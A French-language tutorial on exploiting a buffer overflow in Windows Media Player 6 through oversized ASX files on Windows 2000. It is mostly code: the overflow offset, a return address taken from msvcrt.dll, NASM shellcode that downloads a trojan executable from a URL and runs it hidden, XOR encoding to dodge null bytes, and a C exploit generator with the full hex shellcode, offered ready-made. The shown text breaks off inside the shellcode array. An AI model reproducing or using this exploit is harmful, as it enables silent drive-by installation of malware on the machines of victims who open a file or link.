Buffer Overflow Win32 (2)
by obscurer

 


I\ Introduction/Rappels
II\ The Return Address
III\ The Shellcode : executable
IV\ The Jump Table
V\ The Shellcode : shellcode définitif
VI\ L'Exploit
VII\ Conclusion


I\ Introduction/Rappels

Hello tout le monde, nous nous retrouvons pour une seconde édition de mon tutorial sur les exploits win32. Cette fois on va voir un cas un peu plus spécial, j'expliquerai ça plus tard. Ici nous allons travailler sur Windows Media Player version 6. J'ai développé ça sous windows 2000 server, mais on va faire un truc très très portable, vous inquiétez pas. Même sous win 98/ME ça devrait marcher... enfin, avec peu-être quelques modifications ! Donc, le Media Player de windows a la facheuse tendance à se loader intempestivement dès qu'on a besoin de lui. La faille se situe dans les fichiers ASX (cf bugtraq pour la découverte de la faille). On peut créer un fichier ASX très gros, qui va faire un overflow d'un buffer dans le programme Media Player. Grâce au nouveau type de présentation des dossiers sous windows, le simple fait de cliquer une fois sur un fichier .asx, le fait s'executer sur le côté. De plus, le simple fait de cliquer sur un lien du type www.server.com/file.asx lance media player et il s'overflow... Donc, on va créé un fichier .asx contenant ceci :

<ASX VERSION="3.0"><ENTRY><REF HREF="AAAAAAA....................AAAAAAAAAAA"/></ENTRY></ASX>

Il faudra environ 25000 AAA pour créer l'overflow, (même si la valeur de EIP est avant, j'ai constaté ça en faisant de nombreux tests pénibles).

Je rappelle le principe de l'exploitation d'une faille de type buffer overflow. En fait, lorque dans un programme, on fait un CALL (on appelle une fonction quoi), on va placer sur la pile des valeurs qui sont les arguments de cette fonction. Cependant, on push aussi EBP, et la valeur courante de EIP (Extended Instruction Pointer). EIP pointe toujours vers la ligne de code à executer. On va le sauvegarder, pour que, au moment du RET dans la fonction, on revienne au même endroit, juste après le CALL. Imaginons maintenant qu'un programmeur de chez microsoft ne soit pas très consciencieux, et ait oublié de vérifier que ce qui se trouve dans le fichier ASX ne soit pas un peu trop gros pour le buffer qu'il a prévu, le fichier sera copié dans le buffer, alors les données qui dépassent vont être également copiées en mémoire, et pourraient bien déborder sur les autres arguments, et donc aussi sur la valeur de EIP sauvée. Du coup, lors du RET, le processeur va retourner à l'adresse enregistrée, et vu qu'elle aura changée, il jumpera vers une adresse de notre choix. Si on met une adresse pointant vers un shellcode, il sera executé par le programme.

Petit conseil : si vous voulez débugger le shellcode, vous avez interet à mettre des INT 3, codés 'CC' en assembleur. De cette manière, vous mettez un breakpoint dans votre debugger (bpint 3 sous Soft Ice), et vous pourrez ainsi tracer le code en toute simplicité.


II\ The Return Address

Reste à savoir quoi mettre comme adresse de retour !
En fait, notre buffer va être comme cela :

"...AAAAAAAAAAAAAAA____AAAAAAAAAAAAAAAAAAAAA..."


Les blancs représentent la valeur de EIP qu'on va smasher. L'offset par rapport au premier A est de 23653 (décimal).Il faut cependant un buffer bien plus gros sinon le prog plante pas. Donc on met l'adresse de MessageBoxA par exemple et on lance Media Player. Paf, le débugger (Soft Ice pour moi) stoppe et vous montre que le prog est en plein dans user32.dll en train d'executer... MessageBoxA, great ! Cependant, après plusieurs essais, on remarque que l'adresse ou se trouve notre buffer change à chaque fois ! Dans le premier exemple (tutorial 1), le buffer était à la même place, on pouvait donc remplacer la valeur sauvée de EIP par une adresse tombant dans notre buffer. Ici, on ne peut pas puisqu'il change toujours de place. Par contre, grande nouvelle : on remarque que EBX pointe toujours exactement 4 bytes avant EIP ! Donc il faut faire un call ebx, pour tomber sur notre code. Or, l'executable lui même ne contient pas de "call ebx". On va donc piocher dans une DLL comme la dernière fois. On va utiliser la DLL msvcrt.dll qui ne change pas d'une version de windows 2000 à une autre que ce soit du pro ou du server. On la désassemble (win32dasm pour moi) et on cherche un "call ebx" quelque part....Et miracle, on a un beau call ebx à l'adresse : 0x7801CBD3 (par exemple, il y en a d'autres).
Donc, si on construit notre buffer comme ceci (n'oubliez pas l'inversion des bytes) :

"...AAAA90909090D3CB0178AAAAAAAA....."

Les 0x90 sont des NOP. On place l'adresse après le 23653ème 'A'. Donc si on trace avec notre débugger (breakpoint sur 0x7801CBD3), on arrive au call ebx, puis ensuite il call ebx donc, et on arrive, ça par exemple, ici :

"...AAAA90909090D3CB0178AAAAAAAA....."
-----------*

Le quatrième NOP en partant de la valeur smashée de EIP est executé puisqu'il est pointé par EBX, et qu'on a fait un call ebx un peu avant.
On peut donc subtilement rajouter un jump short pour passer les 4 byte de EIP pour arriver à notre shellcode.Un jmp short se code sur deux byte (EBx pour sauter de x, (on peut sauter de 128 en avant ou 128 en arrière maximum pour un jump short), ici quelques bytes suffisent)

"...AAAA90EB0890D3CB017890909090SHELLCODEAAAAAA....."

Voila, le programme va retourner à EBX qui pointe sur le code 'EB08', il va sauter 8 bytes, et arriver à SHELLCODE, ou on pourra mettre ce qu'on veut !
Voyons maintenant quel shellcode on va pouvoir insérer...


III\ The Shellcode : executable

On va d'abord faire un PE (executable).Voyons un peu le shellcode (shellcodePE.asm), je l'ai codé avec NASM (merci beacoup à rix (qui est dans la cour des grands maintenant :) pour cet outil mirifique ! Si seulement je devais te remercier seulement pour ça !). Ce code produit un executable PE normal avec stack et tout, pour tester le shellcode. Pour ceux qui ne connaissent pas NASM, la conversion vers les autres n'est pas bien difficile, sachez juste que OFFSET n'existe pas, en fait, chaque variable est un label (un pointeur quoi) vers une place réservée en mémoire. On va uitiliser les API de Wininet.dll pour télécharger un executable à partir d'une URL sur internet, puis ensuite on va l'executer avec un WinExec. Ce code est fais pour faciliter le shellcode, je n'utilise donc pas de variable mais je situe tout à partir de edi (habile non ?)

------------------------- CUT HERE ---------------------------

%include "D:\Nasm\include\language.inc"

extern ExitProcess
; définie les API utilisées
extern WinExec
extern GlobalAlloc
extern _lcreat
extern _lwrite
extern _lclose
extern InternetOpenA
extern InternetOpenUrlA
extern InternetReadFile

import ExitProcess kernel32.dll
; permet la création d'une table d'importation
import WinExec kernel32.dll
import GlobalAlloc kernel32.dll
import _lcreat kernel32.dll
import _lwrite kernel32.dll
import _lclose kernel32.dll
import InternetOpenA wininet.dll
import InternetOpenUrlA wininet.dll
import InternetReadFile wininet.dll

[global main]

segment .code public use32
..start:


push dword 1500
; taille d'un buffer de 1500 bytes
push dword 40h
; = GPTR remplit le buffer de 00000
call [GlobalAlloc]
; on alloue un buffer

mov dword edi,eax
; EDI contient maintenant l'adresse du bloc de mémoire allouée

push dword 0
push dword 0
push dword 0
push dword 0
push dword 0
call [InternetOpenA]
; procédure pour télécharger le fichier

push dword 0
push dword 0
push dword 0
push dword 0
push dword url
; pointe vers l'URL pour télécharger le fichier
push dword eax
; EAX contient le handle retourné par InternetOpenA
call [InternetOpenUrlA]
; On ouvre l'URL demandée

mov dword [edi+1024],eax
; sauvegarde le handle retourné vers la fin de notre buffer

push dword 0
; argument de _lcreat
push dword local
; pointe vers la chaine contenant le nom du fichier
call [_lcreat]
; créé le fichier

mov dword [edi+1028],eax
; sauve le handle du fichier ouvert dans notre buffer


boucle:

mov dword eax,edi
; cette manipulation permet de passer l'adresse de edi+1032
add eax,1032
; car 'push dword edi+1032' n'est pas permi pas le compilateur

push dword eax
; adresse de edi+1032 qui contiendra le nombre de bytes lus
push dword 1024
; taille du buffer réservé au téléchargement
push dword edi
; adresse de ce buffer
push dword [edi+1024]
; Handle de l'URL
call [InternetReadFile]
; On lit

cmp eax,0
; si la fonction a retourné une erreur on fini
je fin

cmp dword [edi+1032],0
; si il n'y a plus de byte à lire (0 bytes recus), on fini aussi
je fin


push dword [edi+1032]
; sinon, on push le nombre de bytes recus
push dword edi
; l'adresse du buffer contenant les données reçues
push dword [edi+1028]
; le handle vers le fichier qu'on a gardé
call [_lwrite]
; écriture

jmp boucle
; la boucle est bouclée :)

fin:

push dword [edi+1028]
; handle du fichier
call [_lclose]
; on ferme le fichier

push dword 0
; SW_HIDE = 0 => cache la fenêtre (si c'est une application console bien sur)
push dword local
; nom du fichier
call [WinExec]
; Execute le fichier

push dword 0
; code d'erreur = 0
call [ExitProcess]
; termine le processus (ça évite un plantage de exlorer.exe si on le lance à partir d'un dossier)
ret
; fin

segment .data public
; datas

url: db 'http://localhost/trojan.exe',0
; l'URL on se trouve le programme à executer
local: db 'a.exe',0
; le nom temporaire du programme

------------------------- CUT HERE ---------------------------

Voila, ce fichier se compile facilement, on le lance et hop, le fichier executable s'execute (le fichier ShellcodePE.exe est compilé avec l'Url localhost/trojan.exe donc vous devez avoir un server web pour tester mon file, sinon, recompilez.Il suffit donc de coller ce shellcode dans notre buffer. Cependant, un problème se pose : ici, on utilise WinExec par exemple, en la déclarant au début, de cette façon, au démarrage du programme, windows fournit au programme l'adresse de cette fonction. Mais dans notre cas, il se peut que le programme n'ait pas à utiliser cette fonction et donc n'ai pas son adresse dans son segment réservé à ça... C'est l'éternel difficulté des exploits Win32 : les adresses des API :) , sous Linux, les appels systèmes nous sauvent la vie, mais ici c'est différent.Voyons comment y remédier...


IV\ The Jump Table

On va faire ça à la "classique", c'est à dire qu'on va se faire une jump table pour utiliser les API dont on a besoin. Je rappelle brievement le principe :
On a besoin de fonctions (API) pour notre shellcode. Par exemple : WinExec pour executer un file. Cette fonction possède une adresse qui risque fort de varier selon les kernels. Prendre l'adresse dans kernel32.dll et l'utiliser dans notre shellcode s'appelle "hardcoder" cette adresse. Le problème est que ce n'est absolument pas portable. Dès que la version de l'OS change un peu, c'est foutu. Par contre, lors du démarrage d'un programme, windows lui fourni ces adresses directement. Il les place dans sa jump table, qui est comme une table avec des adresses, voila. Donc l'API msvcrt.dll possède sa jump table. En la décompilant, on prend les deux adresses des fonctions LoadLibraryA et GetProcAddress, qui sont importés par la DLL en 0x78033DD0 et 0x780330CC respectivement. Grace à ces deux fonctions, on va pouvoir obtenir les adresses de toutes les autres dont on a besoin. On va faire une chaine comme ceci : "kernel32*GlobalAlloc*_lcreat* etc etc...". Comme ça, on se placera devant "kernel32*" en on fera un LoadLibraryA, ensuite GetProcAddress sur "GlobalAlloc*", et voila, on aura l'adresse de GlobalAlloc pour pouvoir l'utiliser ! Cepandant, les "*" doivent être des bytes nuls. Or, ils ne peuvent se trouver dans notre buffer, car ils signifient une fin de chaine. J'ai donc décidé de crypter les chaines avec un XOR tout simple pour ne plus avoir de zéros. On fera une petite routine pour décrypter tout ça après. Je laisse 66 bytes de libre pour l'Url, comme ça on mettra la taille que l'on veut. La chaine se présente comme ça :

"kernel32.GlobalAlloc._lcreat._lclose._lwrite.WinExec.ExitProcess.wininet.
InternetOpenA.InternetOpenUrlA.InternetReadFile.a.exe.http://........... "


Les points sont des NULL, il y en donc 66 après le "http://" pour mettre l'url qu'on veut. Ensuite on XOR tout ça avec du 0x20 par exemple, on obtient :

"KERNEL.. gLOBALaLLOC .LCREAT .LCLOSE .LWRITE wINeXEC eXITpROCESS WININET iNTERNEToPENa iNTERNEToPENuRLa iNTERNETrEADfILE A.EXE HTTP... "

Les NULL ont disparus pour donner des 0x20 (espaces). Aucun problème, ceci tiendra dans notre buffer. Maintenant, où placer ces chaines ? Le plus pratique me parait, juste avant l'adresse pointée par EBX. Comme ceci :

"...AAAAAAACHAINE_ENCRYPTEE90EB0890D3CB017890909090SHELLCODEAAAA....."

Donc, le code se poursuit, il fait le petit jump, puis le shellcode débarque, il décrypte l'espace se situant avant ce que pointe EBX, puis peut utiliser les chaines pour loader les API. On avance ! La chaine encryptée fait 200 bytes avec la marge pour l'Url, on devra donc faire un SUB EBX, 200 pour se retrouver devant "kernel32". EBX est le seul point fixe, puisque tout est aléatoirement placé en mémoire. Maintenant, voyons le petit bout de programme à faire pour décrypter la chaine. (début du fichier : decrypt.asm) :

------------------------- CUT HERE ---------------------------

mov ebp,esp ; on va créer une nouvelle stack, car ebp risque a été débordé également par notre buffer...
sub bp,257
; > 255, ça évite un NULL dans le buffer :)

xor dword ecx,ecx
; permet de mettre ecx à zéro sans avoir de NULL dans le buffer

a:
dec ebx
; on décrémente EBX (on recule d'un byte quoi)
inc ecx
; ECX va servir à compter jusqu'à 200 (taille des chaines)

xor byte [ebx],0x20
; on XOR où pointe EBX

cmp byte cl,200
; si on a pas encore reculé de 200 byte, on continu à reculer
jne a

------------------------- CUT HERE ---------------------------

Arrivé ici, EBX pointe donc vers "kernel32......" la chaine a été décryptée si tout c'est bien passsé ! (Au fait, le fichier decrypt.exe sert à l'éditer en hexa et à faire un copier coller vers le fichier ASX exploit, ne le lancer pas, sinon il va tout casser !)
Maintenant, voyons le reste du code. En effet, il va falloir créer la jump table à proprement parler. Pour celà, on va faire un petit bout de programme qui va s'en charger. Ce programme se placera après la routine de décryptage, et avant le shellcode vu dans la partie III, précédé du code pour charger les API. On va en premier lieu faire un LoadLibraryA en pushant l'adresse de la chaine "kernel32",0. La fonction va retourner un handle vers cette DLL. Ensuite on call GetProcAddress en pushant comme paramètre ce handle, et l'adresse de la chaine "GetProcAddress",0 située à 9 bytes de "kernel32",0. Ensuite on va allouer un buffer de 1500 bytes, 1024 pour le téléchargement du fichier + de la marge pour des données diverses. Voici le code (début de shellcode.asm, encore, ne runnez pas shellcode.exe !)

------------------------- CUT HERE ---------------------------

%include "D:\Nasm\include\language.inc"

[global main]

segment .code public use32
..start:

; à partir d'ici commence le shellcode, esi pointe bien vers le début de nos chaines
push dword esi
; on push esi qui pointe vers "kernel32",0
call [0x780330D0]
; API LoadLibraryA, eax contient un handle vers kernel32.dll ouverte

mov dword edi,eax
; edi contient maintenant le handle vers kernel32.dll

add esi,9
; on fait pointer esi sur "GlobalAlloc" ("kernel32" fait 8 bytes, plus le zéro ça fait 9 )

push dword esi
; on push l'adresse de la chaine "GlobalAlloc" pointée par esi
push dword eax
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
; hop ! eax contient l'adresse de GetProcAddress ! call eax nous permettra de l'appeller maintenant...

push dword 1500 ; on créé un buffer de 1500 = 1024 + de la marge pour des données diverses
push dword 40h
; 40h = GPTR, initialise la mémoire à 0 etc
call eax
; API GlobalAlloc
; Vlan ! eax contient l'adresse d'un buffer

mov dword ecx,edi
; handle de kernel32 dans ecx
mov dword edi,eax
; edi pointe maintenant vers un buffer de 1500 zéros
mov dword [edi+1030],ecx
; edi+1030 contient maintenant le handle vers Kernel32

add esi,12
; on fait pointer esi sur "_lcreat"

push dword esi
; on push l'adresse de la chaine "_lcreat", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
mov dword [edi+1060],eax
; on met l'adresse de l'API _lcreat à [esi+1030], vers la fin de notre buffer


add esi,8
; on fait pointer esi sur "_lclose"

push dword esi
; on push l'adresse de la chaine "_lclose", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
mov dword [edi+1064],eax
; on sauve l'adresse de la fonction lodée


add esi,8
; on fait pointer esi sur "_lwrite"

push dword esi
; on push l'adresse de la chaine "_write", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
mov dword [edi+1068],eax
; on sauve l'adresse de la fonction lodée

add esi,8
; on fait pointer esi sur "WinExec"

push dword esi
; on push l'adresse de la chaine "WinExec", pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
mov dword [edi+1072],eax
; on sauve l'adresse de la fonction lodée

add esi,8
; on fait pointer esi sur "ExitProcess"

push dword esi
; on push la chaine pointée par esi
push dword [edi+1030]
; on push le handle de kernel32.dll loadée
call [0x780330cc]
; API GetProcAddress
mov dword [edi+1076],eax
; on sauve l'adresse de la fonction lodée


add esi,12
; on met esi sur "wininet"

push dword esi
; on push esi, donc "wininet"
call [0x780330D0]
; API LoadLibraryA

mov dword [edi+1030],eax
; on met le handle de wininet.dll loadée dans [edi+1046] (on va s'en servir plusieurs fois)

add esi,8
; on fait pointer esi sur "InternetOpenA"

push dword esi
; on push "InternetOpenA"
push dword [edi+1030]
; on push le handle de wininet.dll loadée
call [0x780330cc]
; API GetProcAddress

mov dword [edi+1034],eax
; on met l'adresse de "InternetOpenA" dans [edi+1034]

add esi,14
; on fait pointer esi sur "InternetOpenUrlA"

push dword esi
; push "InternetOpenUrlA"
push dword [edi+1030]
; push le handle de wininet.dll
call [0x780330cc]
; API GetProcAddress

mov dword [edi+1038],eax
; on sauve l'adresse dans [edi+1038]

add esi,17
; esi pointe sur "InternetReadFile"

push dword esi
; idem, on push l'adresse de la chaine
push dword [edi+1030]
; on push le handle vers wininet.dll
call [0x780330cc]
; API GetProcAddress

mov dword [edi+1042],eax
; L'adresse de "InternetReadFile" est dans [edi+1042]

add esi,23
; esi pointe donc maintenant sur l'URL "http://......", on est pret pour la suite !

------------------------- CUT HERE ---------------------------

On a donc la correspondance suivante à partir de edi (je rappelle : edi pointe vers 1500 bytes libres) , j'ai mis au hasard les nombres donc cherchez pas de logique particulière :

[edi] ............................. début du buffer alloué par GlobalAlloc
[edi+1030] ........................ sert temporairement pour les handle vers kernel32.dll et wininet.dll

Ce qui suit est notre jump table :
[edi+1060] ........................ adresse de l'API _lcreat
[edi+1064] ........................ adresse de l'API _lclose
[edi+1068] ........................ adresse de l'API _lwrite
[edi+1072] ........................ adresse de l'API WinExec
[edi+1076] ........................ adresse de l'API ExitProcess
[edi+1034] ........................ adresse de l'API InternetOpenA
[edi+1038] ........................ adresse de l'API InternetOpenUrlA
[edi+1042] ........................ adresse de l'API InternetReadFile

Donc, vous avez compri le principe, on a créé une table d'adresses récupérées dynamiquement d'où la portabilité du code ! Maintenant, grace à cette table, un tout simple : call [edi+1060] va appeller _lcreat. Voila, c'est pas mirifique ? On a résolu le problème des API, maintenant, on prend le même shellcode qu'en haut mais on modifie les call et aussi les datas 'url' et 'local'.


V\ The Shellcode : shellcode définitif

Maintenant voyons le shellcode définitif (suite et fin de shellcode.asm) :

------------------------- CUT HERE ---------------------------

; Au départ, esi pointe vers "http://......" (cf la fin du code du IV)

push dword 0
push dword 0
push dword 0
push dword 0
push dword 0
call [edi+1034]
; API InternetOpenA (les arguments sont bien sympas)

push dword 0
push dword 0
push dword 0
push dword 0
push dword esi
; push l'url
push dword eax
; push le handle retourné par InternetOpenA
call [edi+1038]
; API InternetOpenUrlA

mov dword [edi+1046],eax
; on sauve le Handle retourné dans [edi+1046]

sub esi,6
; esi pointe maintenant sur "a.exe"

push dword 0
push dword esi
call [edi+1060]
; API _lcreat, retourne un handle de fichier dans eax

mov dword [edi+1050],eax
; sauve le handle du fichier à [edi+1050]

boucle :

mov dword eax,edi
; on stoque le nombre de bytes lus à [edi+1054]
add eax,1054
; cette manip est nécessaire car on passe une adresse
push dword eax
push dword 1024
; taille du buffer pour mettre les données téléchargées
push dword edi
; emplacement du buffer
push dword [edi+1046]
; handle retourné par InternetOpenUrlA
call [edi+1042]
; API InternetReadFile

cmp eax,0
; si la fonction retourne une erreur -> jmp fin
je fin

cmp dword [edi+1054],0
; si il n'y a plus de byte à lire -> jmp fin
je fin

;sinon écrit dans le fichier ouvert

push dword [edi+1054]
; nombre de byte reçus
push dword edi
; buffer ou se trouve les bytes
push dword [edi+1050]
; handle du fichier ouvert par _lcreat
call [edi+1068]
; _lwrite

jmp boucle

fin:

push dword [edi+1050]
; push le handle du fichier
call [edi+1064]
; _lclose

push dword 0
; ouverture de fichier en mode SW_HIDE
push dword esi
; qui pointe toujours vers "a.exe",0
call [edi+1072]
; API WinExec

push dword 0
call [edi+1076]
; API ExitProcess : code d'erreur : 0 (on s'en fout en fait, c pour pas tout planter)

------------------------- CUT HERE ---------------------------

Il reste juste à paster le code compilé dans le fichier ASX à la bonne place. Cependant, si on examine le code, on voit qu'il contient de nombreux bytes zéros !!! On peut donc faire notre programme normallement, puis on le crypte, comme avec les chaines, pour se débarrasser des caractères génants (désassemblez shellcode.exe et regardez le nombre incalculable de zéros :)

J'ai choisit de placer arbitrairement le shellcode à 333 bytes après le code pointé par ECX (celle du départ, à 4 byte de EIP). Or, après la première routine de décryptage, on a ECX qui pointe à 200 caractères de sa position originale. Donc, dans notre buffer il faudra qu'on place le code dans le fichier ASX à 329 de EIP, et qu'on le XOR avec du 01 par exemple, ça évitera les caractères maudits... Les deux routines de décryptages se suivent et se situent donc entre la valeur de EIP et le shellcode (forcément). Voici donc la seconde routine de décryptage, (suite et fin du fichier decrypt.asm) :

------------------------- CUT HERE ---------------------------

mov dword esi,ebx ; on va garder là ou est ECX pour plus tard, sauvons la valeur dans ESI par exemple
mov dword eax,0x0FFFFFDEA
; on veut donc décaler ECX de 533 pour tomber sur notre shellcode
not eax
; NOT 0x0FFFFFDEA = 533, c'est une tactique pour ne pas avoir de bytes NULL
; (si on avais fait add dword ebx, 533, on aurait eu des bytes NULL )
add dword ebx,eax
; hop, pas de bytes NULL !

xor dword ecx,ecx
; on met ECX à zéro (toujours pour eviter des bytes NULL)

b:
inc ebx
; on décale EBX de un byte
inc ecx
; ECX sert de compteur
xor byte [ebx],0x01
; on XOR le byte pointé par ECX avec du 01

cmp word cx, 549
; si on a fait 549 byte alors on arretes (on compare cx et non pas ecx tj pour les bytes NULL)
jne b

------------------------- CUT HERE ---------------------------

549 bytes pourquoi ? Pourquoi pas ! Je savais pas quelle longeur ferait mon shellcode, il en fait en fait un peu plus de 480, mais bon, c'est pas grave du moment que c'est supérieur à 480, mettez ce que vous voulez ! Voila ! Résumons la situation : on a jumpé à EBX. On a passé quelque byte.Ensuite, la première routine de décryptage décrypte les chaines placés à 200 bytes de EBX. Ensuite la seconde routine de décryptage décrypte le code placé à 333 de ECX (ECX du départ). Ensuite on continu jusqu'au shellcode proprement dit. On a donc le schéma définitif suivant dans notre fichier ASX :

"...AAAAAAAAAACHAINES_CRYPTEES_20h90EB0890D3CB017890909090ROUTINE190909090ROUTINE2909090SHELLCODE_CRYPTE_01AAAAAAAAAAAA..."
--------------*1------------------*2----------------------------------------------------*3

CHAINES_CRYPTEES_20h Représente les chaines XORées avec du 0x20
ROUTINE1 et 2 Representent les 2 routines, la premièere décrypte les chaînes, la seconde le SHELLCODE_CRYPTE_01
SHELLCODE_CRYPTE_01
Représente le shellcode, c'est à dire le chargement de la jump table et le shellcode en lui même

Les labels :
*2 correspond au code pointé par EBX au moment du RET qui touche notre EIP (4 bytes avant la valeur smashée de EIP)
Entre *1 et *2 il y a 200 bytes
Entre *2 et *3 il y a 333 bytes

Voila, jespère que vous avez bien tout compri !

 


VI\ L'Exploit

Voila, je vous fais cadeau d'un exploit tout fait pour plus de simplicité !
C'est le fichier exploit.c compilé en Win2KASX.exe. On va créer un gros buffer de 68000 octets, on vas y mettre un header pour le fichier .ASX puis ensuite rajouter des 'AAAAA' jusqu'à l'offset de EBX-200. On va paster le shellcode, et ensuie rajouter des blancs pour finir le buffer. On dump ça dans un fichier .ASX et le tour est joué ! Vous remarquerez que j'aurais pu mettre le shellcode plus près de EBX, mais ce n'est pas trop grave, on a un shellcode un peu plus gros car il y a des NOP entre les routines de décryptage et le shellcode...

------------------------- CUT HERE ---------------------------

#include <stdio.h>

void usage(char *a);

unsigned char header[]= {
"<ASX VERSION=\"3.0\"><ENTRY><REF HREF=\"" }; // header des fichiers .ASX

unsigned char shellcode[]={
// The damned shellcode (il contient plein de NOP mais bon !)
"\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41\x4C\x61\x4C\x4C\x4F\x43\x20\x7F"
"\x4C\x43\x52\x45\x41\x54\x20\x7F\x4C\x43\x4C\x4F\x53\x45\x20\x7F\x4C\x57\x52\x49\x54\x45"
"\x20\x77\x49\x4E\x65\x58\x45\x43\x20\x65\x58\x49\x54\x70\x52\x4F\x43\x45\x53\x53\x20\x57"
"\x49\x4E\x49\x4E\x45\x54\x20\x69\x4E\x54\x45\x52\x4E\x45\x54\x6F\x50\x45\x4E\x61\x20\x69"
"\x4E\x54\x45\x52\x4E\x45\x54\x6F\x50\x45\x4E\x75\x52\x4C\x61\x20\x69\x4E\x54\x45\x52\x4E"
"\x45\x54\x72\x45\x41\x44\x66\x49\x4C\x45\x20\x41\x0E\x45\x58\x45\x20\x48\x54\x54\x50\x1A"
"\x0F\x0F\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x90\xEB\x08\x90\xD3\xCB\x01\x78\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x89\xE5\x66\x81\xED\x01\x01\x31\xC9\x4B\x41\x80\x33\x20\x80\xF9"
"\xC8\x75\xF6\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x89\xDE\xB8\xEA\xFD\xFF\xFF\xF7\xD0\x01\xC3\x31\xC9\x43\x41\x80\x33\x01\x66\x81"
"\xF9\x25\x02\x75\xF4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x91\x91\x91\x91\x91\x91\x91\x57\xFE\x14\xD1\x31\x02\x79\x88\xC6"
"\x80\xC7\x08\x01\x01\x01\x57\x51\xFE\x14\xCD\x31\x02\x79\x69\xDD\x04\x01\x01\x69\x41\x01"
"\x01\x01\xFE\xD1\x88\xF8\x88\xC6\x88\x8E\x07\x05\x01\x01\x80\xC7\x0D\x01\x01\x01\x57\xFE"
"\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x25\x05\x01\x01\x80\xC7\x09\x01\x01"
"\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x29\x05\x01\x01\x80\xC7"
"\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x2D\x05\x01"
"\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02\x79\x88\x86"
"\x31\x05\x01\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02"
"\x79\x88\x86\x35\x05\x01\x01\x80\xC7\x0D\x01\x01\x01\x57\xFE\x14\xD1\x31\x02\x79\x88\x86"
"\x07\x05\x01\x01\x80\xC7\x09\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14\xCD\x31\x02"
"\x79\x88\x86\x0B\x05\x01\x01\x80\xC7\x0F\x01\x01\x01\x57\xFE\xB6\x07\x05\x01\x01\xFE\x14"
"\xCD\x31\x02\x79\x88\x86\x0F\x05\x01\x01\x80\xC7\x10\x01\x01\x01\x57\xFE\xB6\x07\x05\x01"
"\x01\xFE\x14\xCD\x31\x02\x79\x88\x86\x13\x05\x01\x01\x80\xC7\x16\x01\x01\x01\x91\x91\x91"
"\x91\x91\x91\x91\x91\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x69\x01"
"\x01\x01\x01\x69\x01\x01\x01\x01\xFE\x96\x0B\x05\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01"
"\x01\x01\x69\x01\x01\x01\x01\x69\x01\x01\x01\x01\x57\x51\xFE\x96\x0F\x05\x01\x01\x88\x86"
"\x17\x05\x01\x01\x80\xEF\x07\x01\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x25\x05\x01\x01"
"\x88\x86\x1B\x05\x01\x01\x88\xF9\x04\x1F\x05\x01\x01\x51\x69\x01\x05\x01\x01\x56\xFE\xB6"
"\x17\x05\x01\x01\xFE\x96\x13\x05\x01\x01\x3C\x01\x01\x01\x01\x75\x25\x80\xBE\x1F\x05\x01"
"\x01\x01\x01\x01\x01\x75\x19\xFE\xB6\x1F\x05\x01\x01\x56\xFE\xB6\x1B\x05\x01\x01\xFE\x96"
"\x2D\x05\x01\x01\xE8\xBA\xFE\xFE\xFE\xFE\xB6\x1B\x05\x01\x01\xFE\x96\x29\x05\x01\x01\x69"
"\x01\x01\x01\x01\x57\xFE\x96\x31\x05\x01\x01\x69\x01\x01\x01\x01\xFE\x96\x35\x05\x01\x01"
